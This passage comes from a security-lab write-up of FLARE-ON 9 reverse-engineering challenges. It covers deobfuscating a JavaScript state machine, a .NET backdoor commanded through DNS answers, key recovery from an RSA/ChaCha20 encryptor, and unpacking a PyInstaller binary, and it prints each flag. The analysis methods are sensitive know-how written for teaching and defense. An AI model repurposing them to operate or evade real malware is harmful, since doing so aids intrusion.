<p>We need to dump those values, and we can do this by patching the script being used by the challenge binary and writing that sequence of values to a file.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image35.jpg" alt="" /></p>
<p>We also dump the sequence of states using the same method.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image93.jpg" alt="" /></p>
<p>Now we can patch the binary to output both sequences of values and states, which makes debugging so much easier.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image21.jpg" alt="" /></p>
<p>We have the elements we need to reverse operations and their order, but we’re feeling lazy so let’s build ourselves a javascript deobfuscator! This will help get rid of that state machine and reverse the encryption to reveal the flag, we’re using the <a href="https://github.com/int3/pyesprima">pyesprima</a> frontend for Javascript. First, we’ll create a class that inherits the esprima.NodeVisitor class and will be able to visit the JavaScript Abstract Syntax Tree (AST).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image18.jpg" alt="" /></p>
<p>Next, we then visit the AST and collect each subtree associated to a switch case node.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image61.jpg" alt="" /></p>
<p>For each state that was previously extracted, we test the if/else node’s condition and choose the right branch’s inner subtree. Either the predicate is a literal and we directly test its value or the predicate is a Math.random call so we test the next value.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image19.jpg" alt="" /></p>
<p>Finally, for each expression we determine if it contains a Math.floor(Math.random) call and then replace it with the right random value, then for the current state replace the original subtree with our expression.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image69.jpg" alt="" /></p>
<p>Pyesprima doesn’t return JavaScript code back from its AST. So we implemented a very small JavaScript code emitter that replaces each node with the proper JavaScript code recursively.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image22.jpg" alt="" /></p>
<p>But after comparing the deobfuscated script and the packed binary, we still don’t have the same result!</p>
<p>There must be some shenanigans in addition to math.random. We quickly discover by testing that the if(x) and the if(xn), with x being a number, have two strange different behaviors. if(x) always returns false if the number is &gt; 0 and if(xn) always returns false if the number contains a zero!</p>
<p>So with this in mind, we fixed the predicates in the script before running the deobfuscator again.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image80.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image100.jpg" alt="" /></p>
<p>This looks like our obfuscated script.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image63.jpg" alt="" /></p>
<p>Let’s reverse this obfuscation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image37.jpg" alt="" /></p>
<p>The final inverted script with “target” as the initial flag looks like this:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image54.jpg" alt="" /></p>
<p><em>Readers interested in the scripts created for FLARE-ON challenges can find them linked at the end of this publication.</em></p>
<p>Running the script ends up producing an array.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image47.jpg" alt="" /></p>
<p><strong>Flag:</strong> n0t<em>ju5t_A_j4vaSCriP7</em><a href="mailto:ch4l1eng3@flare-on.com">ch4l1eng3@flare-on.com</a></p>
<h2>Challenge 8 - “Backdoor”</h2>
<blockquote>
<p>I'm such a backdoor, decompile me why don't you…</p>
</blockquote>
<h3>Solution</h3>
<p>This challenge consists of an 11MB Windows PE binary that executes when launched, but returns nothing to the console. We often augment analysis with packet captures, and were listening with WireShark when we observed a DNS resolution event. We’re off to a great start.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image76.jpg" alt="" /></p>
<p>We notice a convention that may be significant: we have flare_xx functions and their flared_yy counterparts. If we inspect the flare_xx functions, they each contain a “try/catch” structure.</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg</p>
<p>But when we turned to look at their flared_yy counterparts, something's not quite right.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image33.jpg" alt="" /></p>
<p>In dnSpy, we trace execution to an InvalidProgramException and don’t reach the flared_yy code. But in spite of that, the challenge seems to execute somewhat successfully.</p>
<p>Beginning with main and analyzing the first function, we have a rough outline of what’s happening: there are two layers of “try/catch” logic doing similar things in different ways, and creating a dynamic method Intermediate Language (IL) somehow provided by parameters.</p>
<p>The first layer, flare_71, constructs a dynamic method with the IL directly passed as parameter:</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image95.jpg" alt="" /></p>
<p>Some behind-the-scenes work happens to patch the IL code using a metadata token that has the dynamic method’s context before SetCode is called. A dictionary of locations and metadata tokens is resolved by calling GetTokenFor in the same context, as well.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image43.jpg" alt="" /></p>
<p>After patching, the IL is only valid in the context of the dynamic method. To reconstruct the binary properly, now we need to dump the IL before it can be modified, patch it with the right metadatatoken, and then patch the binary to fix the broken function.</p>
<p>We can create a script to do that in Python.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image52.jpg" alt="" /></p>
<p>After patching the binary’s first layer, it decompiles correctly. The flared_70 function, responsible for running the second obfuscation layer, is a bit more complicated though.</p>
<p>The function will read one of its PE sections by name, using the first 8 characters of the hash of the metadata token and corresponding to the function that raised the InvalidProgramException error. This is decrypted with a hardcoded key. The decrypted section contains the IL of the function to call.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image81.jpg" alt="" /></p>
<p>The IL patching is somewhat complicated this time and involves a little obfuscation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image39.jpg" alt="" /></p>
<p>The next problem is that we don’t have all the hashes beforehand, only when the function gets called. If we put a breakpoint on the resolving function, we can dump each hash.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image94.jpg" alt="" /></p>
<p>We wrote a script to do the patching automatically and run it each time we add a new hash.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image84.jpg" alt="" /></p>
<p>At this point most of the functions are deobfuscated and we can move on to the core of the challenge.</p>
<p>Initially we observed a large number of DNS resolution events, but didn’t see the malware attempt a network connection to our Flask server. While debugging the sample, though, we can see what looks like an attempt to process commands.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image50.jpg" alt="" /></p>
<p>The problem is that we still don’t know how to interact with the backdoor. By backtracking to the source of each command, we can see that this sample is using the IP addresses received from these DNS resolutions for communication. Now we know why we didn’t see this sample try to connect to our Flask server, at least.</p>
<p>How this worked, we were about to learn, is a little complicated.</p>
<p>The first IP address is used to create a file, after which all commands arrive in the form of a “255.x.y.z” network address. Each IP address returned to the sample is parsed for its octets, but it might be easier to understand with a concrete example:</p>
<p>When a DNS resolution returns 255.0.0.2, the backdoor expects two specific bytes of data (43d and 50d) which are used to calculate what superficially resembles a network address, 43.50.0.0. The command processing function then performs a comparison and appends a value between 0 and 22.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image59.jpg" alt="" /></p>
<p>The flared_56 function XORs a value in an array with 248 to determine if the result is equal to the value passed in the parameter or not. If so, it appends a small chunk of text to one of the object’s properties and that value is then removed from the array.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image7.jpg" alt="" /></p>
<p>This tells us which command to send and in which order to append all the text chunks. We also noticed that when the array value is empty the _bool flag is set to false. That’s probably not an accident, so let’s inspect any functions using that flag.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image79.jpg" alt="" /></p>
<p>This function is triggered each time an element is deleted from the value array.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image48.jpg" alt="" /></p>
<p>We can expect something to happen once the right conditions are met, and endeavor to contrive them.</p>
<p>First, we generated a list of all possible IP address values. Then we configured <a href="https://github.com/Crypt0s/FakeDns">FakeDns</a> to resolve *.flare-on.com to that value list.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image44.jpg" alt="" /></p>
<p>Next, we use FakeDns to respond to requests using a round-robin approach that resolves to each IP address in order, until finally we get the response we were waiting for.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image62.jpg" alt="" /></p>
<p>*<em>Flag: *_W3_4re_Known_f0r</em><a href="mailto:b31ng_Dyn4m1c@flare-on.com">b31ng_Dyn4m1c@flare-on.com</a></p>
<h2>Challenge 9 - “encryptor”</h2>
<blockquote>
<p>You're really crushing it to get this far. This is probably the end for you. Better luck next year!</p>
</blockquote>
<h3>Solution</h3>
<p>For this challenge, we’re provided two files: a Windows PE executable and an encrypted file.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image66.jpg" alt="" /></p>
<p>Encryption is interesting, and when we opened it in HxD we immediately saw a bunch of garbage followed by hexified data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image83.jpg" alt="" /></p>
<p>When the binary is executed, it helpfully indicates a path is expected as an argument.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image29.jpg" alt="" /></p>
<p>But nothing happens when a random file is chosen, so a less random file must be what we need.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image42.jpg" alt="" /></p>
<p>We begin by tracing the function in IDA and note that it’s looking for a specific extension, “.EncryptMe”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image3.jpg" alt="" /></p>
<p>Let’s try again with a random file that uses that specific file extension.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image6.jpg" alt="" /></p>
<p>And we see a new file generated with a different extension (“.Encrypted”) and a larger file size.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image56.jpg" alt="" /></p>
<p>Looking more closely at the executable in IDA, we determine that the binary is using ChaCha20 with a random key encrypted using RSA-2048.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image5.jpg" alt="" /></p>
<p><em>We need that key.</em></p>
<p>On the most basic level, encryption is just a system of math made up of basic operations like addition and multiplication. RSA is considered a strong implementation because it uses big numbers, and most RSA libraries implement a big number library of some kind. But we don’t really want to reverse all that just for the key, especially when we can find all the related functions in the sample and apply our knowledge of RSA.</p>
<p>We need to generate prime numbers for two variables, p and q.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image11.jpg" alt="" /></p>
<p>We need to generate the modulus value n, which is equal to p*q. Using p and q as inputs, return n. So far, so good.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image57.jpg" alt="" /></p>
<p>And we’re going to need a value phi, which is equal to (p-1)*(q-1).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image67.jpg" alt="" /></p>
<p>We deduce that the 2 previous functions are the decrement function that produce p-1 and q-1.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image89.jpg" alt="" /></p>
<p>Finally, we have an operation that produces the secret key d using phi and the exponent e.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image86.jpg" alt="" /></p>
<p>Notice however that something fishy is already happening because the global variable containing the exponent e is reused and will contain the private key d. Now at least we can validate that the key is encrypted with the private key (d, n) instead of the public key (e, n).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image15.jpg" alt="" /></p>
<p>We can use the public key to decrypt the ChaCha20 key, however we don’t know the modulus value or the encrypted key. Fortunately for us, they are both hexified and appended to the encrypted output file.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image26.jpg" alt="" /></p>
<p>The encrypted ChaCha20 key is actually contained in the last three rows of the init structure, along with the nonce.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image32.jpg" alt="" /></p>
<p>The key can be decrypted with a little python.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image51.jpg" alt="" /></p>
<p>And we’re one step closer.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image101.jpg" alt="" /></p>
<p>By tracing execution with x64dbg, we can force the decryption of the encrypted file by replacing the ChaCha20 parameters with the key and nonce we’ve just obtained. Another flag down, and one more to go!</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image28.jpg" alt="" /></p>
<p>*<em>Flag: *_R$A</em>$16n1n6<em>15_0pp0$17e</em><a href="mailto:0f_3ncryp710n@flare-on.com">0f_3ncryp710n@flare-on.com</a></p>
<h2>Challenge 10 - The Karaoke Labyrinth</h2>
<p>Somehow every member of the team has a nearly encyclopedic knowledge of song lyrics, and intuited their way through this one. Surprisingly whimsical, no reversing necessary.</p>
<h2>Challenge 11 - “The challenge that shall not be named”</h2>
<blockquote>
<p>Protection, Obfuscation, Restrictions... Oh my!! The good part about this one is that if you fail to solve it I don't need to ship you a prize.</p>
</blockquote>
<h3>Solution</h3>
<p>This was the eleventh and final challenge of FLARE-ON 9, and unexpectedly straightforward after some of the previous ones. This challenge consisted of a binary, running strings on it gave some hints about it.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image65.jpg" alt="" /></p>
<p>“PyInstaller bundles a Python application and all its dependencies into a single package” is a nice summary of what PyInstaller is used for. This binary is compiled from Python scripts and packaged as a single executable, which is less of a problem than it might seem. We encounter those often enough that we’ve found <a href="https://github.com/extremecoders-re/pyinstxtractor">tools</a> to extract python compiled in this way, and we pulled out a few python files.</p>
<p>One of the files, 11.py, threw errors when we attempted to step through it and complained that the library “‘crypt’ has no attribute ‘ARC4’”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image24.jpg" alt="" /></p>
<p>That’s kind of interesting. Notably, we can modify the crypt.py script located in “PYTHON_FOLDER_PATH\lib\crypt.py”, adding the ARC4 function and the class it returns with our custom encrypt function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image10.jpg" alt="" /></p>
<p>When we run 11.py again, this time it prints us a beautiful flag which wakes us from the dream (or nightmare) that is the FLARE-ON challenge.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image58.jpg" alt="" /></p>
<p>*<em>Flag: *_Pyth0n_Prot3ction_tuRn3d_Up</em><a href="mailto:t0_11@flare-on.com">t0_11@flare-on.com</a></p>
<h2>Conclusion</h2>
<p>For the 2022 FLARE-ON challenge, that’s a wrap! We learned a bunch of new things this year and we hope you enjoyed reading our solutions. We’re looking forward to reading yours and learning things we didn’t try.</p>
<p>For those who have waited patiently for a link to scripts, <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt2d75d12507c1a14d/636e8b687c54010b136bf9ec/flare-on_9_scripts.zip">here you go</a>.</p>
<h4>Acknowledgements</h4>
<p>We want to thank Elastic and Devon Kerr, who gave us the opportunity to spend a week focused on this event. Thanks also to the Mandiant team for the fun and thoughtful challenges: well done. To the researchers who participated, thank you for making it a phenomenal week of learning.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/illustration-endpoint-security-stop-malware-1284x926.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>